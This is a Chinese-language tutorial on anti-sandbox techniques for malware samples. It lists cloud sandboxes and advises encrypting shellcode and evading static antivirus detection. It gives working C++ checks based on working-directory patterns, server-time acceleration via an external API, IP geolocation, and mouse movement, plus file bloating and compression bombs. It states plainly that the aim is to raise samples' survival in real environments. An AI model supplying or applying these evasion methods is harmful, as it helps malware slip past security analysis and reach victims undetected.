反沙箱杂谈
字数 1792 2025-08-05 08:20:05
反沙箱技术全面解析与实战指南
沙箱基础概念
定义:沙箱是一种允许不受信任的应用程序在高度受控环境中运行的系统,其中应用程序的权限被限制为一组基本的计算机权限(NIST定义)。
沙箱分类
-
软件沙箱:
- Sandboxie(程序沙箱)
- VMware/Docker(虚拟化沙箱)
-
硬件沙箱:
- 企业级解决方案(如华为FireHunter6000)
-
云沙箱:
- 微步沙箱 (https://s.threatbook.com/)
- VirusTotal (https://www.virustotal.com/)
- Any.Run (https://any.run/)
- Joe沙箱 (https://www.joesandbox.com/)
- Hybrid分析系统 (https://www.hybrid-analysis.com/)
- 安恒云沙箱 (https://sandbox.dbappsecurity.com.cn/)
- 奇安信沙箱 (https://sandbox.ti.qianxin.com/)
- FreeBuf沙箱 (https://sandbox.freebuf.com/)
- 360云沙箱 (https://ata.360.net/)
- 哈勃沙箱 (https://habo.qq.com/)
反沙箱前提条件
-
静态免杀基础:
- 确保静态资源无敏感信息
- 避免加壳(或谨慎使用)
- Shellcode需预先加密(避免对称加密短密钥)
-
执行流程要求:
- 无其他前置执行条件(如反调试)
- 确保程序首先执行反沙箱逻辑
反沙箱技术详解
1. 路径检测技术
微步沙箱特征:在C盘下生成随机字符串文件夹运行样本
检测代码示例:
std::string workingdir() {
char buf[256];
GetCurrentDirectoryA(256, buf);
return std::string(buf);
}
bool check_run_path() {
std::string test(workingdir());
std::regex pattern("^C:\\\\[A-Za-z0-9_]+");
return !std::regex_match(test, pattern);
}
2. 时间检测技术
常规方法
NtDelayExecutionWaitForSingleObjectSetTimerSetWaitableTimerCreateTimerQueueTimer
进阶方法
- API Flooding(API泛洪)
GetSystemTimeAdjustment- 自定义定时实现
- 从其他进程获取时间
- 配合网络时间校验
实战代码示例(时间差检测):
bool check_time() {
auto url = "http://api.pinduoduo.com";
httplib::Client cli(url);
// 第一次获取时间
auto res = cli.Get("/api/server/_stm");
std::string time_str1 = filterDigits(res->body);
long long api_time1 = std::stoll(time_str1);
time_t currentTime1 = time(0);
// 休眠300秒
HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
WaitForSingleObject(hEvent, 300000);
CloseHandle(hEvent);
// 第二次获取时间
res = cli.Get("/api/server/_stm");
std::string time_str2 = filterDigits(res->body);
long long api_time2 = std::stoll(time_str2);
// 判断差值(沙箱会加速执行)
if (api_time2 - api_time1 > 290000) {
return true; // 真实环境
} else {
exit(0); // 沙箱环境
}
}
3. 系统特征检测
硬件检测
- CPU核心数(
dwNumberOfProcessors) - 内存大小(
GlobalMemoryStatus) - 硬盘大小(
PhysicalDrive0) - 显卡显存
- CPU温度(推荐使用
GetSystemFirmwareTable获取SMBIOS信息)
系统环境检测
- 系统用户名(注意现代系统多为DESKTOP-XXX随机名)
- 工作组/域信息
- 系统语言(
GetSystemDefaultLangID) - 系统启动时间(
GetTickCount(),对服务器无效)
文件特征检测(Pocket Litter技术)
- 桌面文件数量(沙箱通常较少)
- 特定软件存在检测(微信/QQ等国民软件)
- 临时文件数量(沙箱可能较多)
- Office文档数量(沙箱可能较少)
- 自身文件名是否被修改
网络检测
- IP地理位置检测
- 网络延迟特征
IP检测示例:
bool check_ip() {
auto url = "http://ip-api.com";
httplib::Client cli(url);
auto res = cli.Get("/csv");
if (res->status != 200) {
exit(0);
return false;
}
return res->body.find("China") != std::string::npos;
}
输入设备检测
鼠标移动检测:
double distance(POINT p1, POINT p2) {
double dx = p2.x - p1.x;
double dy = p2.y - p1.y;
return sqrt(dx * dx + dy * dy);
}
bool check_mouse() {
POINT p1, p2, p3;
GetCursorPos(&p1);
Sleep(3000);
GetCursorPos(&p2);
Sleep(3000);
GetCursorPos(&p3);
double d1 = distance(p1, p2);
double d2 = distance(p2, p3);
double d3 = distance(p3, p1);
// 检查是否能构成三角形(真实用户会有不规则移动)
return (d1 + d2 > d3) && (d2 + d3 > d1) && (d1 + d3 > d2);
}
4. 非常规方法
- 体积膨胀:制作大于300MB的样本绕过上传限制
- 指纹收集:专门收集沙箱特征用于后续分析
- 压缩炸弹:释放大量压缩数据挤占资源
注意事项与最佳实践
-
敏感API使用:
- 避免直接使用WMI API(易被标记为敏感行为)
- 推荐使用
GetSystemFirmwareTable获取硬件信息
-
检测逻辑组合:
- 不要依赖单一检测方法
- 组合时间、硬件、行为等多种检测方式
-
目标环境适配:
- 根据目标环境调整检测阈值(如服务器通常长期运行)
-
ATT&CK框架:
- 注意某些技术(如鼠标检测)已被列入ATT&CK框架(T1497)
未来发展
- AI沙箱:安全公司正在开发融入AI的沙箱系统
- 对抗升级:沙箱与反沙箱技术持续博弈
- 云原生挑战:容器化和Serverless环境下的新对抗
参考资源
通过综合运用上述技术,可以有效提高样本在真实环境中的存活率,但需注意技术更新和对抗演进,持续优化反沙箱策略。